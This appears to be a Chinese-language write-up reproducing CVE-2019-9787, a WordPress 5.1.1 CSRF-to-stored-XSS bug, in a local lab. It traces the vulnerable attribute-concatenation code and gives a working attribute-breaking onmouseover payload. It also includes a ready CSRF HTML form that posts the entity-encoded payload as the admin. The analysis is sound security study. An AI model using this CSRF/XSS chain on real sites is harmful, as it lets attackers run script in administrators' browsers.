# CVE-2019-9787 (WordPress 5.1.1 CSRF to RCE) ###### tags: `CVE` `wordpress` 這題的雖說是csrf + rce rce 的部分是xss完成的。 先講解流程 admin 帳號評論文章是可以不被xss過慮的,也就是說admin 可以想說啥說啥,但其他帳號無法造成xss,觸發要用csrf 誘騙 admin 可以觸發 js ``` <a onmouseover=alert(1)>777777777 ``` csrf能成功原因在於 admin 帳號還有個缺陷, amdin 在post 評論時會送出5個 POST 其中 _wp_unfiltered_html_comment 為一個 nonce值隨機數 是用來防止 csrf的,但 CVE-2019-9787 告訴我們 即使 _wp_unfiltered_html_comment 為空還是可以發送評論。 據說是因為WordPress其中有一些特殊的功能例如trackbacks and pingbacks會受到該值的影響 ``` comment= &submit= &comment_post_ID= &comment_parent= &_wp_unfiltered_html_comment= ``` csrf 先放一邊,我們先看看 xss 造成的rce 測試無害payload: ``` <a title='123' rel='666'>777777777 ``` bp: (記得把_wp_unfiltered_html_comment) 值改空 模擬nonce 對 csrf的防禦 ```http= POST /wp-comments-post.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 176 Origin: http://localhost Connection: close Referer: http://localhost/2023/03/15/test/ Cookie: NpHtD_admin_username=5ff7iIi-qmkChcz4NUr-kAi4nK3Gaf-9sUzunOpdPywIcQ; NpHtD_siteid=5ff7iIi-qmkChcz4NR_5kwG7kq3ENars4k-8zb0N; NpHtD_userid=d404pX26NdX1MOvSkXSZBq25rNZbU8jE1CR_2MsR; NpHtD_admin_email=6b11eaWkej43f_CT9zl4bs_woPde_o10IQal8a90uQ14uAi5ENu_Tg; NpHtD_sys_lang=6b11eaWkej43f_CT928sa837o_VZ8dlycVTyovg_4xNb5w; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26editor%3Dtinymce; wp-settings-time-1=1678692933; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1679030902%7CJys6wpCl06krsAq95HvzB8v4F48Cdfct8Al74qIJvwU%7C45c5e73deec696ee9ece5dc75a35f50ddba363dee67cab97b9d1221e69a6e527; XDEBUG_SESSION=sublime.xdebug Upgrade-Insecure-Requests: 1 comment=%3Ca+title%3D%27123%27+rel%3D%27666%27%3E777777777&submit=%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA&comment_post_ID=4&comment_parent=0&_wp_unfiltered_html_comment= ``` 這裡快速跟蹤的方法狂按f8 值到看到我們的相關數據出現開始才慢慢走 關鍵函數: wp_rel_nofollow_callback() 看到這個函數我們還是很開心的,最後 return 居然是拼接的,那我們可以注入嗎,保持這個想法。 ```php= //wp-includes/formatting.php function wp_rel_nofollow_callback( $matches ) { $text = $matches[1]; $atts = shortcode_parse_atts( $matches[1] ); $rel = 'nofollow'; if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'http' ) ) . ')%i', $text ) || preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'https' ) ) . ')%i', $text ) ) { return "<a $text>"; } if ( ! empty( $atts['rel'] ) ) { $parts = array_map( 'trim', explode( ' ', $atts['rel'] ) ); if ( false === array_search( 'nofollow', $parts ) ) { $parts[] = 'nofollow'; } $rel = implode( ' ', $parts ); unset( $atts['rel'] ); $html = ''; foreach ( $atts as $name => $value ) { $html .= "{$name}=\"$value\" "; } $text = trim( $html ); } return "<a $text rel=\"$rel\">"; } ``` 你用 phpstorm 走到要 return之前 關鍵查看 兩個變數 ```htmlembedded= $text = "title="123"" $rel = "666 nofollow" ``` 有點奇怪阿,看不清楚對不對,我們把兩側的雙引號再分開一點 ```htmlembedded= $text = " title="123" " $rel = " 666 nofollow " ``` 所以最後拼接會是 ```htmlembedded= return "<a $text rel=\"$rel\">"; 對比 <a title="123" rel=\"666 nofollow\"> ``` 所以知道最後又拼接回原樣,但我們很雞賊。 \" 雙引號閉合 插入 onmouseover=alert(1) 插入 id=\" 閉合後面的雙引號 payload: ```hmtl= " onmouseover=alert(1) id=" ``` ```hmtl= <a title="12" onmouseover=alert(1) id=" 3" rel=\"666 nofollow\"> ``` 回到一開始我們無害的a tag 然後構造 title 屬性 ```htmlembedded= <a title='123' rel='666'>777777777 <a title='12" onmouseover=alert(1) id="3' rel='666'>777777777 ``` 可以開始構造csrf ``` comment= &submit= // 這裡可以不要 &comment_post_ID= &comment_parent= &_wp_unfiltered_html_comment= // 這裡為空 ``` payload: 由我們用了雙引號閉合,所以我們在製作csrf comment 的 value=\"\" 也會被影響,所以用html encode ``` <a title='12" onmouseover=alert(1) id="3' rel='666'>88888888888 ``` ### csrf.html 注意:comment_post_ID 這邊我沒測試過是不是通用你可以根據自己環境改變 ```hmtl= <html> <body> <form action="http://localhost/wp-comments-post.php" method="POST"> <input type="hidden" name="comment" value="&#x3c;&#x61;&#x20;&#x74;&#x69;&#x74;&#x6c;&#x65;&#x3d;&#x27;&#x31;&#x32;&#x22;&#x20;&#x20;&#x20;&#x20;&#x20;&#x6f;&#x6e;&#x6d;&#x6f;&#x75;&#x73;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x3d;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x69;&#x64;&#x3d;&#x22;&#x33;&#x27;&#x20;&#x72;&#x65;&#x6c;&#x3d;&#x27;&#x36;&#x36;&#x36;&#x27;&#x3e;&#x38;&#x38;&#x38;&#x38;&#x38;&#x38;&#x38;&#x38;&#x38;&#x38;&#x38;" /> <input type="hidden" name="comment_post_ID" value="4" /> <input type="hidden" name="comment_parent" value="0" /> <input type="hidden" name="_wp_unfiltered_html_comment" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` 此時點開 csrf 頁面就會添加一個留言,滑鼠移過去觸發xss。 心得: 此篇整理花了我一些時間,最主要是payload 網上給的不起作用,所以我自己慢慢測試。還有許多可以說明的地方沒說,不過也沒測試過xss 攻擊payload 需不需要特殊繞過。(我感覺還是會被過濾很多字元) 這篇有題到後續payload 要如何慮利用,但我也沒測試過 https://ironhackers.es/en/tutoriales/wordpress-5-1-csrf-xss-rce-poc/ 參考文章: https://www.freebuf.com/vuls/198346.html https://www.hackbase.net/security/exploit/260488.html